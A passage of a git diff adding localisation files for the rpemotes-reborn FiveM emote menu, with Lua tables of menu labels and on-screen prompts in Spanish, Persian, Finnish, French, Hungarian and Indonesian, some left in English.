rain.", + ['pee'] = "Hold ~y~G~w~ to pee.", + ['spraychamp'] = "Hold ~y~G~w~ to spray champagne", + ['stun'] = "Press ~y~G~w~ to 'use' stun gun.", + ['smoke'] = "Press ~y~G~w~ to smoke.", + ['vape'] = "Press ~y~G~w~ to vape.", + ['boundto'] = "Bound (~y~%s~w~) to ~g~%s~w~", + ['handsup'] = "Hands up", + ['currentlyboundemotes'] = "Currently bound emotes:", + ['notvalidkey'] = "is not a valid key.", + ['keybinds'] = "🔢 Keybinds", + ['keybindsinfo'] = "Use", + ['searchemotes'] = "🔍 Search for Emotes", + ['searchinputtitle'] = "Search:", + ['searchmenudesc'] = "result(s) for", + ['searchnoresult'] = "No results for search", + ['searchshifttofav'] = "Hold L-Shift and press enter to set as favorite.", + ['searchcantsetfav'] = "Shared emotes cannot be set as favorites.", + ['invalidvariation'] = "Invalid texture variation. Valid selections are: %s", + ['firework'] = "Press ~y~G~w~ to use the firework", + ['poop'] = "Press ~y~G~w~ to poop", + ['puke'] = "Press ~y~G~w~ to puke", + ['cut'] = "Press ~y~G~w~ to cut", + ['btn_select'] = "Select", + ['btn_back'] = "Back", + ['btn_increment'] = "Increment", + ['dead'] = "You can't use emotes while dead!", + ['swimming'] = "You can't use emotes while swimming", + ['notvalidpet'] = "RUH ROH! Incorrect ped model detected 🐕!", + ['animaldisabled'] = "Sorry! Animal emotes are disabled on this server", + ['adultemotedisabled'] = "Bonk! Adult emotes disabled 🔞", + ['toggle_instructions'] = "Toggle the instructions", + ['exit_binoculars'] = "Exit binoculars", + ['toggle_binoculars_vision'] = "Toggle between vision modes", + ['exit_news'] = "Exit News Camera", + ['toggle_news_vision'] = "Toggle between vision modes", + ['edit_values_newscam'] = "Edit the news text", + ['not_in_a_vehicle'] = "You can't play this animation while in a vehicle", + ['in_a_vehicle'] = "You can only play this animation while in a vehicle 🚷", + ['no_anim_crawling'] = "You can't play animations while crawling", + ['no_anim_right_now'] = "You can't play an animation right now", + ['register_cancel_emote'] = "Cancel current emote", + ['register_open_menu'] = "Open animation menu", + ['register_fav_anim'] = "Play your favorite emote", + ['crouch'] = "Crouch", + ['crawl'] = "Crawl", + ['pointing'] = "Finger pointing", + +} diff --git a/resources/rpemotesreborn1.6.0/locales/es.lua b/resources/rpemotesreborn1.6.0/locales/es.lua new file mode 100644 index 000000000..f93a4dea3 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/locales/es.lua @@ -0,0 +1,82 @@ +Locales['es'] = { + -- Spanish 🇪🇸 + ['emotes'] = "~h~~p~ Animaciones 🎬", + ['danceemotes'] = "~h~~p~ 🕺 Bailes", + ['animalemotes'] = "~h~~p~ 🐩 Emotes de animales", + ['propemotes'] = "~h~~p~ 📦 Objetos", + ['favoriteemotes'] = "~h~~y~ 🌟 Favoritos", + ['favoriteinfo'] = "Seleccione una animación aquí para configurarlo como su favorito.", + ['rfavorite'] = "Restablecer favoritos", + ['prop2info'] = "❓ Los Prop Emotes se pueden encontrar al final", + ['set'] = "Elegir (", + ['setboundemote'] = ") como tu animación favorita?", + ['newsetemote'] = "~w~ es ahora tu animación favorita, presiona ~g~[CapsLock]~w~ para usarla.", + ['cancelemote'] = "~h~~r~ Cancelar animación 🚷", + ['cancelemoteinfo'] = "~r~X~w~ Cancela la animación actual.", + ['walkingstyles'] = "~h~~p~ Formas de caminar 🚶🏻‍♂️", + ['resetdef'] = "Reiniciar a por defecto", + ['normalreset'] = "~h~~r~ Normal (Reiniciar)", + ['moods'] = "~h~~p~ Estados de animo 😒", + ['infoupdate'] = "~h~~g~ Créditos 🤝🏻", + ['infoupdateav'] = "Información (Actualización disponible)", + ['infoupdateavtext'] = "Hay una actualización disponible, para conseguir la ultima version ingrese a ~y~https://github.com/alberttheprince/rpemotes-reborn~w~", + ['suggestions'] = "Sugerencias?", + ['suggestionsinfo'] = "~r~Noor_Nahas~s~ en el foro de FiveM para cualquier sugerencia! ✉️", + ['notvaliddance'] = "no es un baile valido.", + ['notvalidemote'] = "no es una animación valida.", + ['nocancel'] = "No hay animación para cancelar.", + ['maleonly'] = "Esta animación es solo de hombre!", + ['emotemenucmd'] = "Escribe /emotemenu para abrir el menu.", + ['shareemotes'] = "~h~~p~ 👫 Animaciones compartidas", + ['shareemotesinfo'] = "Invita a una persona cercana para la animación.", + ['sharedanceemotes'] = "~h~~p~ 🕺 Bailes compartidos", + ['notvalidsharedemote'] = "no es una animación compartida valida.", + ['sentrequestto'] = "Solicitud enviada ~y~", + ['nobodyclose'] = "Nadie ~r~cerca~w~.", + ['doyouwanna'] = "~y~Y~w~ para aceptar, ~r~L~w~ para rechazar (~g~", + ['refuseemote'] = "Animacion rechazada.", + ['makenearby'] = "hacer que el jugador cercano juegue", + ['useleafblower'] = "Presione ~y~G~w~ para utilizar el soplador de hojas.", + ['camera'] = "Presione ~y~G~w~ para usar el flash de la cámara.", + ['makeitrain'] = "Presione ~y~G~w~ para hacer llover.", + ['pee'] = "Mantén la ~y~G~w~ para mear.", + ['spraychamp'] = "Mantén la ~y~G~w~ para rociar champán.", + ['smoke'] = "Press ~y~G~w~ to smoke.", + ['vape'] = "Presione ~y~G~w~ para vapear.", + ['boundto'] = "Unida (%s) a %s", + ['currentlyboundemotes'] = " Emotes vinculados actualmente:", + ['notvalidkey'] = "no es una clave válida.", + ['keybinds'] = "🔢 Keybinds", + ['keybindsinfo'] = "Utilizar", + ['searchemotes'] = "~h~~y~ 🔍 Busca animaciones", + ['searchinputtitle'] = "Buscar:", + ['searchmenudesc'] = "resultado(s) para", + ['searchnoresult'] = "No se encontró nada con", + ['searchshifttofav'] = "Mantén L-Shift y presiona Enter para guardar como favorito.", + ['searchcantsetfav'] = "Las animaciones compartidas no pueden ser guardadas como favoritas.", + ['invalidvariation'] = "Variación de textura no válida. Las opciones válidas son: %s", + ['firework'] = "Presione ~y~G~w~ para usar los fuegos artificiales", + ['poop'] = "Presione ~y~G~w~ para hacer caca", + ['puke'] = "Presiona ~y~G~w~ para vomitar", ---- Translated via smodin.io + ['cut'] = "Press ~y~G~w~ to cut", + ['btn_select'] = "Seleccionar", + ['btn_back'] = "Atrás ", + ['btn_switch'] = "Movimiento ", + ['btn_increment'] = "Increment", + ['dead'] = "¡No puedes usar animaciones mientras estás muerto!", + ['swimming'] = "You can't use emotes while swimming", + ['notvalidpet'] = "RUH ROH! Incorrect ped model detected 🐕!", + ['animaldisabled'] = "Sorry! Animal emotes are disabled on this server", + ['adultemotedisabled'] = "Bonk! Adult emotes disabled 🔞", + ['toggle_instructions'] = "Toggle the instructions", + ['exit_binoculars'] = "Exit binoculars", + ['toggle_binoculars_vision'] = "Toggle between vision modes", + ['exit_news'] = "Exit News Camera", + ['toggle_news_vision'] = "Toggle between vision modes", + ['edit_values_newscam'] = "Edit the news text", + ['not_in_a_vehicle'] = "You can't play this animation while in a vehicle", + ['in_a_vehicle'] = "You can only play this animation while in a vehicle 🚷", + ['no_anim_crawling'] = "You can't play animations while crawling", + ['no_anim_right_now'] = "You can't play an animation right now", + +} diff --git a/resources/rpemotesreborn1.6.0/locales/fa.lua b/resources/rpemotesreborn1.6.0/locales/fa.lua new file mode 100644 index 000000000..8e9f669f3 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/locales/fa.lua @@ -0,0 +1,83 @@ +Locales['fa'] = { + -- persian 🇮🇷 + ['emotes'] = "~h~~p~ Emotes 🎬", + ['danceemotes'] = "~h~~p~ 🕺 raghs Emotes", + ['animalemotes'] = "~h~~p~ 🐩 hevanat Emotes", + ['propemotes'] = "~h~~p~ 📦 tekye dadan Emotes", + ['favoriteemotes'] = "~h~~y~ 🌟 alaghemandiha", + ['favoriteinfo'] = "yek emote ra baray ezafe kardan be alaghe mandi ha entekhab konid.", + ['rfavorite'] = "bazneshani alaghe mandi ha", + ['prop2info'] = "❓ bad az tekye dadan be yek ja motavaghef mishavad", + ['set'] = "Set (", + ['setboundemote'] = ") che kelid baray dastressi sari entekhab shavad?", + ['newsetemote'] = "~w~ baray dastresi sari, press ~g~CapsLock~w~ baray ejra", + ['cancelemote'] = "~h~~r~ laghv emote🚷", + ['cancelemoteinfo'] = "~r~X~w~ baray laghv emote ", + ['walkingstyles'] = "~h~~p~ style rah raftan🚶🏻‍♂️", + ['resetdef'] = "bazneshani pishfarz", + ['normalreset'] = "~h~~r~ Mamoli (Pishfarz)", + ['moods'] = "~h~~p~ halat sorat 😒", + ['infoupdate'] = "~h~~g~ pishnahad 🤝🏻", + ['infoupdateav'] = "etelaate (berozresani mojod)", + ['infoupdateavtext'] = "update jadid vojod darad baray daryaft ~y~https://github.com/alberttheprince/rpemotes-reborn~w~", + ['suggestions'] = "pishnahad?", + ['suggestionsinfo'] = "~r~Noor_Nahas~s~ on FiveM forums for any feature/emote suggestions! ✉️", + ['notvaliddance'] = "raghsi vojod nadarad.", + ['notvalidemote'] = "emote motabar nist.", + ['nocancel'] = "emote baray laghv vojod nadarad.", + ['maleonly'] = "in emote faghat baray mardan ast motasefam!", + ['emotemenucmd'] = "ba farman /emotemenu be menu emote ha miravid", + ['shareemotes'] = "👫 eshterak emote", + ['shareemotesinfo'] = "peyvastan afrad atraf be in emote", + ['sharedanceemotes'] = "🕺 eshtrak raghs", + ['notvalidsharedemote'] = "in emote baray eshtrak motabar nist.", + ['sentrequestto'] = "ersal darkhast ~y~", + ['nobodyclose'] = "hichkas nist ~r~bastan~w~ kafi nist.", + ['doyouwanna'] = "~y~Y~w~ baray ghabol, ~r~L~w~ baray rad kardan (~g~", + ['refuseemote'] = "Emote rad shod.", + ['makenearby'] = "sakht baray bazi ba atrafian", + ['useleafblower'] = "entekhab ~y~G~w~ baray entekhab barg rob.", + ['camera'] = "entekhab ~y~G~w~ baray entekhab cheragh.", + ['makeitrain'] = "entekhab ~y~G~w~ baray sakht chatr.", + ['pee'] = "negahdarid ~y~G~w~ baray shashidan.", + ['spraychamp'] = "negahdarid ~y~G~w~ baray rikhtan mashrob", + ['stun'] = "Press ~y~G~w~ baray 'use' tofang bihoshi.", + ['smoke'] = "Press ~y~G~w~ to smoke.", + ['vape'] = "entekhab ~y~G~w~ to vape.", + ['boundto'] = "Bound (%s) baray %s", + ['currentlyboundemotes'] = " emote mahdod ast:", + ['notvalidkey'] = "vojod nadarad.", + ['keybinds'] = "🔢 kilid sari", + ['keybindsinfo'] = "entekhab", + ['searchemotes'] = "~h~~y~ 🔍 jostjo Emotes", + ['searchinputtitle'] = "jostojo:", + ['searchmenudesc'] = "result(s) for", + ['searchnoresult'] = "No results for search", + ['searchshifttofav'] = "Hold L-Shift and press enter to set as favorite.", + ['searchcantsetfav'] = "Shared emotes cannot be set as favorites.", + ['invalidvariation'] = "Invalid texture variation. Valid selections are: %s", + ['firework'] = "Press ~y~G~w~ to use the firework", + ['poop'] = "Press ~y~G~w~ to poop", + ['puke'] = "Press ~y~G~w~ to vomit", + ['cut'] = "Press ~y~G~w~ to cut", + ['btn_select'] = "Select", + ['btn_back'] = "Back", + ['btn_switch'] = "Movement", + ['btn_increment'] = "Increment", + ['dead'] = "You can't use emotes while dead!", + ['swimming'] = "You can't use emotes while swimming", + ['notvalidpet'] = "RUH ROH! Incorrect ped model detected 🐕!", + ['animaldisabled'] = "Sorry! Animal emotes are disabled on this server", + ['adultemotedisabled'] = "Bonk! Adult emotes disabled 🔞", + ['toggle_instructions'] = "Toggle the instructions", + ['exit_binoculars'] = "Exit binoculars", + ['toggle_binoculars_vision'] = "Toggle between vision modes", + ['exit_news'] = "Exit News Camera", + ['toggle_news_vision'] = "Toggle between vision modes", + ['edit_values_newscam'] = "Edit the news text", + ['not_in_a_vehicle'] = "You can't play this animation while in a vehicle", + ['in_a_vehicle'] = "You can only play this animation while in a vehicle 🚷", + ['no_anim_crawling'] = "You can't play animations while crawling", + ['no_anim_right_now'] = "You can't play an animation right now", + +} diff --git a/resources/rpemotesreborn1.6.0/locales/fi.lua b/resources/rpemotesreborn1.6.0/locales/fi.lua new file mode 100644 index 000000000..aec65be90 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/locales/fi.lua @@ -0,0 +1,83 @@ +Locales['fi'] = { + -- Finnish 🇫🇮 + ['emotes'] = "~h~~p~ Animaatiot 🎬", + ['danceemotes'] = "~h~~p~ 🕺 Tanssi Animaatiot", + ['animalemotes'] = "~h~~p~ 🐩 Eläin Animaatiot", + ['propemotes'] = "~h~~p~ 📦 Esine Animaatiot", + ['favoriteemotes'] = "~h~~p~ 🌟 Suosikit", + ['favoriteinfo'] = "Valitse animaatio asettaaksesi sen suosikiksi.", + ['rfavorite'] = "Resetoi suosikit.", + ['prop2info'] = "❓ Esine animaatiot voivat sijaita lopussa", + ['set'] = "Aseta (", + ['setboundemote'] = ") bindatuksi animaatioksi?", + ['newsetemote'] = "~w~ on nyt bindattu animaatio, paina ~g~CapsLock~w~ käyttääksesi", + ['cancelemote'] = "~h~~r~ Peru animaatio 🚷", + ['cancelemoteinfo'] = "~r~X~w~ Peruu tämän hetkisen animaation", + ['walkingstyles'] = "~h~~p~ Kävelytyylit 🚶🏻‍♂️", + ['resetdef'] = "Resetoi oletuksen", + ['normalreset'] = "~h~~r~ Normaali (Reset)", + ['moods'] = "~h~~p~ Mielialat 😒", + ['infoupdate'] = "~h~~g~ Krediitit 🤝🏻", + ['infoupdateav'] = "Informaatio (Päivitys saatavilla)", + ['infoupdateavtext'] = "Uusin versio saatavilla täältä ~y~https://github.com/alberttheprince/rpemotes-reborn~w~", + ['suggestions'] = "Ehdotukset?", + ['suggestionsinfo'] = "~r~Noor_Nahas~s~ FiveM foorumeilla liittyen mihin tahansa ominaisuus/animaatio ehdotukseen! ✉️", + ['notvaliddance'] = "Ei ole tanssi.", + ['notvalidemote'] = "Ei ole animaatio.", + ['nocancel'] = "Ei ole animaatiota peruutettavaksi.", + ['maleonly'] = "Tämä animaatio on ainostaan miehille, pahoittelut!", + ['emotemenucmd'] = "Käytä /emotemenu avataksesi animaatio valikon", + ['shareemotes'] = "~h~~p~ 👫 Yhteiset Animaatiot", + ['shareemotesinfo'] = "Kutsu lähin pelaaja animaatioon ", + ['sharedanceemotes'] = "~h~~p~ 🕺 Yhteiset Tanssit", + ['notvalidsharedemote'] = "Ei ole yhteinen tanssi animaatio.", + ['sentrequestto'] = "Kutsu lähetetty pelaajalle ~y~", + ['nobodyclose'] = "Kukaan ei ole ~r~lähelläsi~w~.", + ['doyouwanna'] = "~y~Y~w~ hyväksyäksesi, ~r~L~w~ kieltäytyäksesi (~g~", + ['refuseemote'] = "Kieltäytyi animaatiosta.", + ['makenearby'] = "lähellä oleva pelaaja tekee", + ['useleafblower'] = "Paina ~y~G~w~ käyttääksesi lehtipuhallinta.", + ['camera'] = "Paina ~y~G~w~ käyttääksesi kameran salamaa.", + ['makeitrain'] = "Paina ~y~G~w~ heittääksesi rahaa.", + ['pee'] = "Pidä ~y~G~w~ pissataksesi.", + ['spraychamp'] = "Pidä ~y~G~w~ suihkuttaaksesi shamppanjaa", + ['stun'] = "Paina ~y~G~w~ 'käyttääksesi' etälamautinta.", + ['smoke'] = "Press ~y~G~w~ to smoke.", + ['vape'] = "Paina ~y~G~w~ käyttääksesi vapea.", + ['boundto'] = "Bindata (%s) näppäimeen %s", + ['currentlyboundemotes'] = "Bindatut animaatiot:", + ['notvalidkey'] = "ei ole käytettävä näppäin.", + ['keybinds'] = "🔢 Pikanäppäimet", + ['keybindsinfo'] = "Käytä", + ['searchemotes'] = "~h~~y~ 🔍 Etsiäksesi emoten", + ['searchinputtitle'] = "Etsi:", + ['searchmenudesc'] = "tulokset", + ['searchnoresult'] = "Ei tuloksia haulle", + ['searchshifttofav'] = "Pidä L-Shift painettuna ja aseta suosikiksi painamalla Enter.", + ['searchcantsetfav'] = "Jaettuja emoteja ei voi asettaa suosikeiksi.", + ['invalidvariation'] = "Virheellinen tekstuurimuunnelma. Kelvollisia valintoja ovat: %s", + ['firework'] = "Käytä ilotulitteita painamalla ~y~G~w~", + ['poop'] = "Paina ~y~G~w~ kakataksesi.", + ['puke'] = "Paina ~y~G~w~ oksentaaksesi.", + ['cut'] = "Press ~y~G~w~ to cut", + ['btn_select'] = "Valitse", + ['btn_back'] = "Takaisin", + ['btn_switch'] = "Liike", + ['btn_increment'] = "Lisäys", + ['dead'] = "You can't use emotes while dead!", + ['swimming'] = "You can't use emotes while swimming", + ['notvalidpet'] = "RUH ROH! Vääränlainen ped modeli havaittu! 🐕", + ['animaldisabled'] = "Anteeksi! Eläin animaatiot on poistettu käytöstä tällä palvelimella", + ['adultemotedisabled'] = "Bonk! Aikuisten animaatio pois käytöstä :underage:", + ['toggle_instructions'] = "Toggle the instructions", + ['exit_binoculars'] = "Poistuaksesi kiikareista", + ['toggle_binoculars_vision'] = "Vaihtele kiikariden näköetäisyyttä", + ['exit_news'] = "Poistuaksesi uutiskamerasta", + ['toggle_news_vision'] = "Vaihtele uutiskameran näkymää", + ['edit_values_newscam'] = "Muokkaa uutistekstiä", + ['not_in_a_vehicle'] = "Et voi toistaa tätä animaatiota ajoneuvossa", + ['in_a_vehicle'] = "Voit toistaa tämän animaation vain ajoneuvossa", + ['no_anim_crawling'] = "Animaatiota ei voi toistaa ryömiessä", + ['no_anim_right_now'] = "You can't play an animation right now", + +} diff --git a/resources/rpemotesreborn1.6.0/locales/fr.lua b/resources/rpemotesreborn1.6.0/locales/fr.lua new file mode 100644 index 000000000..07be6011a --- /dev/null +++ b/resources/rpemotesreborn1.6.0/locales/fr.lua @@ -0,0 +1,83 @@ +Locales['fr'] = { + -- French 🇫🇷 + ['emotes'] = "~p~ Emotes 🎬", + ['danceemotes'] = "~p~ 🕺 Danses", + ['animalemotes'] = "~p~ 🐩 Emotes d'animaux", + ['propemotes'] = "~p~ 📦 Emotes objet", + ['favoriteemotes'] = "~h~~y~ 🌟 Favori", + ['favoriteinfo'] = "Définir une emote comme favori.", + ['rfavorite'] = "Réinitialiser le favori.", + ['prop2info'] = "❓ Les emotes d'objet peuvent être à la fin", + ['set'] = "Mettre (", + ['setboundemote'] = ") en emote favorite?", + ['newsetemote'] = "~w~ est maintenant votre emote favorite, appuyez sur ~g~CapsLock~w~ pour l'utiliser.", + ['cancelemote'] = "~r~ Annuler l'émote 🚷", + ['cancelemoteinfo'] = "~r~X~w~ Annule l'emote en cours", + ['walkingstyles'] = "~p~ Styles de marche 🚶🏻‍♂️", + ['resetdef'] = "Réinitialiser aux valeurs par défaut", + ['normalreset'] = "~h~~r~ Normal (réinitialiser)", + ['moods'] = "~p~ Humeurs 😒", + ['infoupdate'] = "Crédits 🤝🏻", + ['infoupdateav'] = "Information (Mise à jour disponible)", + ['infoupdateavtext'] = "Une mise à jour est disponible ~y~https://github.com/alberttheprince/rpemotes-reborn~w~", + ['suggestions'] = "Suggestions?", + ['suggestionsinfo'] = "~r~Noor_Nahas~s~ sur les forums FiveM pour toutes les suggestions! ✉️", + ['notvaliddance'] = "n'est pas une danse valide", + ['notvalidemote'] = "n'est pas une emote valide", + ['nocancel'] = "Pas d'emote à annuler", + ['maleonly'] = "Cet emote est réservé aux hommes, désolé!", + ['emotemenucmd'] = "Fait /emotemenu pour ouvrir le menu", + ['shareemotes'] = "👫 Emotes partagées", + ['shareemotesinfo'] = "Invite une personne proche à faire une emote avec toi", + ['sharedanceemotes'] = "🕺 Dances partagées", + ['notvalidsharedemote'] = "n'est pas un emote partagée valide.", + ['sentrequestto'] = "Demande envoyée à ", + ['nobodyclose'] = "Personne n'est assez proche.", + ['doyouwanna'] = "Y accepter, L refuser (~g~", + ['refuseemote'] = "Emote refusée.", + ['makenearby'] = "fait jouer le joueur à proximité", + ['useleafblower'] = "Appuyez sur G pour utiliser le souffleur à feuilles.", + ['camera'] = "Appuyez sur G pour utiliser le flash de l'appareil.", + ['makeitrain'] = "Appuyez sur G pour jeter de l'argent.", + ['pee'] = "Appuyez sur G pour faire pipi.", + ['spraychamp'] = "Appuyez sur G pour vaporiser du champagne.", + ['smoke'] = "Appuyez sur G pour fumer.", + ['vape'] = "Appuyez sur G pour vapoter.", + ['boundto'] = "Liée (%s) à %s", + ['currentlyboundemotes'] = " Emotes actuellement liées:", + ['notvalidkey'] = "n'est pas une clé valide.", + ['keybinds'] = "🔢 Raccourcis clavier", + ['keybindsinfo'] = "Utilise", + ['searchemotes'] = "~h~~y~ 🔍 Rechercher des emotes", + ['searchinputtitle'] = "Recherche:", + ['searchmenudesc'] = "resultat(s) pour", + ['searchnoresult'] = "Aucun résultat pour la recherche : ", + ['searchshifttofav'] = "Maintenir L-Shift et appuyer sur entrer pour marquer comme favorie.", + ['searchcantsetfav'] = "Les emotes partagées ne peuvent pas être mise en favorie.", + ['invalidvariation'] = "Variation de texture invalide. Les sélections valides sont : %s", + ['firework'] = "Appuyez sur G pour utiliser les feux d'artifice", + ['poop'] = "Appuyez sur G pour faire caca.", + ['puke'] = "Appuyez sur G pour vomir.", + ['cut'] = "appuyez sur G pour couper", + ['btn_select'] = "Sélectionner", + ['btn_back'] = "Retour", + ['btn_switch'] = "Mouvement", + ['btn_increment'] = "Vitesse déplacement", + ['dead'] = "Vous ne pouvez pas faire d'animation en étant mort !", + ['swimming'] = "Vous ne pouvez pas faire d'emotes en nageant", + ['notvalidpet'] = "RUH ROH! Vous n'avez pas un ped adapté 🐕!", + ['animaldisabled'] = "Désolé! Les emotes d'animaux sont désactivées sur ce serveur", + ['adultemotedisabled'] = "Bonk ! Les Emotes adultes sont désactivées🔞", + ['toggle_instructions'] = "Afficher / Masquer les instructions", + ['exit_binoculars'] = "Quitter les jumelles", + ['toggle_binoculars_vision'] = "Basculer entre les modes de vision", + ['exit_news'] = "Quitter la caméra des news", + ['toggle_news_vision'] = "Basculer entre les modes de vision", + ['edit_values_newscam'] = "Editer les textes", + ['not_in_a_vehicle'] = "Vous ne pouvez pas jouer cette animation dans un véhicule", + ['in_a_vehicle'] = "Vous ne pouvez jouer cette animation que dans un véhicule 🚷", + ['no_anim_crawling'] = "Vous ne pouvez pas jouer d'animations pendant que vous rampez", + ['no_anim_right_now'] = "Vous ne pouvez pas jouer une animation pour l'instant", + ['register_cancel_emote'] = "Annuler l'émote actuelle", + +} diff --git a/resources/rpemotesreborn1.6.0/locales/hu.lua b/resources/rpemotesreborn1.6.0/locales/hu.lua new file mode 100644 index 000000000..afde9139f --- /dev/null +++ b/resources/rpemotesreborn1.6.0/locales/hu.lua @@ -0,0 +1,82 @@ +Locales['hu'] = { + -- Hungarian 🇭🇺 + ['emotes'] = "~h~~p~ Animációs Menü 🎬", + ['danceemotes'] = "~h~~p~ 🕺 Tánc Animációk", + ['animalemotes'] = "~h~~p~ 🐩 Állatos Animációk", + ['propemotes'] = "~h~~p~ 📦 Tárgyas Animációk", + ['favoriteemotes'] = "~h~~y~ 🌟 Kedvenc", + ['favoriteinfo'] = "Válassz ki itt egy animációt, hogy kedvenceddé tedd.", + ['rfavorite'] = "Kedvenc alaphelyzetbe állítása", + ['prop2info'] = "❓ A Prop Emote-ok a végén találhatók", + ['set'] = "Kiválasztod (", + ['setboundemote'] = ") hogy ez legyen a kedvenc animációd?", + ['newsetemote'] = "~w~ lett a kedvenc animációd, nyomj egy ~g~CapsLock~w~-ot a használatához.", + ['cancelemote'] = "~h~~r~ Animáció Befejezése 🚷", + ['cancelemoteinfo'] = "~r~X~w~ Megszünteti az aktuálisan lejátszott animációt", + ['walkingstyles'] = "~h~~p~ Séta Stílusok 🚶🏻‍♂️", + ['resetdef'] = "Séta alaphelyzetbe állítása", + ['normalreset'] = "~h~~r~ Normális (Alaphelyzet)", + ['moods'] = "~h~~p~ Archangulatok 😒", + ['infoupdate'] = "~h~~g~ Kreditek 🤝🏻", + ['infoupdateav'] = "Információ (frissítés elérhető)", + ['infoupdateavtext'] = "A frissítés elérhető, a legfrissebb verziót a következő címen tudod beszerezni ~y~https://github.com/alberttheprince/rpemotes-reborn~w~", + ['suggestions'] = "Javaslatok?", + ['suggestionsinfo'] = "~r~Noor_Nahas~s~ a FiveM fórumokon bármilyen funkcióra/animációra vonatkozó javaslatért! ✉️", + ['notvaliddance'] = "nem érvényes tánc.", + ['notvalidemote'] = "nem érvényes animáció.", + ['nocancel'] = "Nincs animáció amit visszavonhatnál.", + ['maleonly'] = "Ez az animáció csak férfi karaktereknek szól, sajnálom!", + ['emotemenucmd'] = "A /emotemenu paranccsal nyisd meg az animációk menüt.", + ['shareemotes'] = "~h~~p~ 👫 Megosztott animációk", + ['shareemotesinfo'] = "Hívj meg egy közeli személyt animációra", + ['sharedanceemotes'] = "~h~~p~ 🕺 Közös Táncok", + ['notvalidsharedemote'] = "nem érvényes megosztott animáció.", + ['sentrequestto'] = "Elküldted a kérelmet a(z) ~y~", + ['nobodyclose'] = "Senki sincs elég ~r~közel~w~.", + ['doyouwanna'] = "~y~Y~w~ gomb az elfogadáshoz, ~r~L~w~ gomb az elutasításhoz (~g~", + ['refuseemote'] = "Animáció elutasítva.", + ['makenearby'] = "a közelben lévő játékos játsza le ezt az animációt:", + ['useleafblower'] = "Nyomj ~y~G~w~ gombot a lombfúvó használatához.", + ['camera'] = "Nyomj ~y~G~w~ gombot a fényképezőgép vakujának használatához.", + ['makeitrain'] = "Nyomj ~y~G~w~ gombot hogy elkezdd szórni a pénzt.", + ['pee'] = "Nyomj ~y~G~w~ gombot a pisiléshez.", + ['spraychamp'] = "Nyomj ~y~G~w~ gombot a pezsgő fröcsköléséhez.", + ['stun'] = "Nyomj ~y~G~w~ gombot hogy 'használd' a sokkolót.", + ['smoke'] = "Press ~y~G~w~ to smoke.", + ['vape'] = "Nyomj ~y~G~w~ gombot a vapeeléshez.", + ['boundto'] = "Rögzített (%s) ehhez %s", + ['currentlyboundemotes'] = " Jelenleg rögzített animációk:", + ['notvalidkey'] = "nem érvényes gombkiosztás.", + ['keybinds'] = "🔢 Gombkiosztások", + ['keybindsinfo'] = "Használat", + ['searchemotes'] = "~h~~y~ 🔍 Animációk Keresése", + ['searchinputtitle'] = "Keresés:", + ['searchmenudesc'] = "eredmény erre: ", + ['searchnoresult'] = "Nincs eredmény erre:", + ['searchshifttofav'] = "Tartsd lenyomva az L-Shift billentyűt, és nyomd meg az enter billentyűt a kedvencek beállításához.", + ['searchcantsetfav'] = "A megosztott animációkat nem lehet kedvencekként beállítani.", + ['invalidvariation'] = "Érvénytelen textúra variáció. Érvényes választások a következők: %s", + ['firework'] = "Nyomj ~y~G~w~ gombot a tűzijáték használatához", + ['poop'] = "Nyomj ~y~G~w~ gombot a kakiláshoz", + ['puke'] = "Nyomja meg az ~y~G~w~ gombot a hányáshoz", ---- Translated via smodin.io + ['cut'] = "Press ~y~G~w~ to cut", + ['btn_select'] = "Kiválasztás", + ['btn_back'] = "Vissza", + ['btn_switch'] = "Mozgás", + ['btn_increment'] = "Increment", + ['swimming'] = "You can't use emotes while swimming", + ['notvalidpet'] = "RUH ROH! Incorrect ped model detected 🐕!", + ['animaldisabled'] = "Sorry! Animal emotes are disabled on this server", + ['adultemotedisabled'] = "Bonk! Adult emotes disabled 🔞", + ['toggle_instructions'] = "Toggle the instructions", + ['exit_binoculars'] = "Exit binoculars", + ['toggle_binoculars_vision'] = "Toggle between vision modes", + ['exit_news'] = "Exit News Camera", + ['toggle_news_vision'] = "Toggle between vision modes", + ['edit_values_newscam'] = "Edit the news text", + ['not_in_a_vehicle'] = "You can't play this animation while in a vehicle", + ['in_a_vehicle'] = "You can only play this animation while in a vehicle 🚷", + ['no_anim_crawling'] = "You can't play animations while crawling", + ['no_anim_right_now'] = "You can't play an animation right now", + +} diff --git a/resources/rpemotesreborn1.6.0/locales/id.lua b/resources/rpemotesreborn1.6.0/locales/id.lua new file mode 100644 index 000000000..61048019e --- /dev/null +++ b/resources/rpemotesreborn1.6.0/locales/id.lua @@ -0,0 +1,83 @@ +Locales['id'] = { + -- Indonesian 🇮🇩 + ['emotes'] = " ~h~~p~ Emote 🎬", + ['danceemotes'] = "~h~~p~ 🕺 Emote Menari", + ['animalemotes'] = "~h~~p~ 🐩 Emote Hewan", + ['propemotes'] = "~h~~p~ 📦 Prop Emotes", + ['favoriteemotes'] = "~h~~y~ 🌟 Favorit", + ['favoriteinfo'] = "Pilih emote di sini untuk menetapkannya sebagai favorit Anda.", + ['rfavorite'] = "Setel ulang favorit", + ['prop2info'] = "❓ Prop Emotes can be located at the end", + ['set'] = "Tetapkan (", + ['setboundemote'] = ") untuk menjadi emote terikat Anda?", + ['newsetemote'] = "~w~ sekarang menjadi emote terikat Anda, tekan ~g~CapsLock~w~ untuk menggunakannya.", + ['cancelemote'] = "~h~~r~ Batalkan Emote 🚷", + ['cancelemoteinfo'] = "~r~X~w~ Batalkan emote yang sedang dimainkan", + ['walkingstyles'] = "~h~~p~ Gaya Berjalan 🚶🏻‍♂️", + ['resetdef'] = "Mengatur ulang ke default", + ['normalreset'] = "~h~~r~ Normal (Atur Ulang)", + ['moods'] = "~h~~p~ Ekspresi 😒", + ['infoupdate'] = "~h~~g~ Kredit 🤝🏻", + ['infoupdateav'] = "Informasi (Pembaruan tersedia)", + ['infoupdateavtext'] = "Pembaruan tersedia, dapatkan versi terbaru dari ~y~https://github.com/alberttheprince/rpemotes-reborn~w~", + ['suggestions'] = "Saran?", + ['suggestionsinfo'] = "~r~Noor_Nahas~s~ di forum FiveM untuk mendapatkan saran fitur/emote! ✉️", + ['notvaliddance'] = "bukanlah tarian yang valid.", + ['notvalidemote'] = "bukanlah emote yang valid.", + ['nocancel'] = "Tidak ada emote yang harus dibatalkan.", + ['maleonly'] = "Emoticon ini hanya untuk pria, maaf!", + ['emotemenucmd'] = "Gunakan perintah /emotemenu untuk membuka menu animasi.", + ['shareemotes'] = "~h~~p~ 👫 Emote Bersama", + 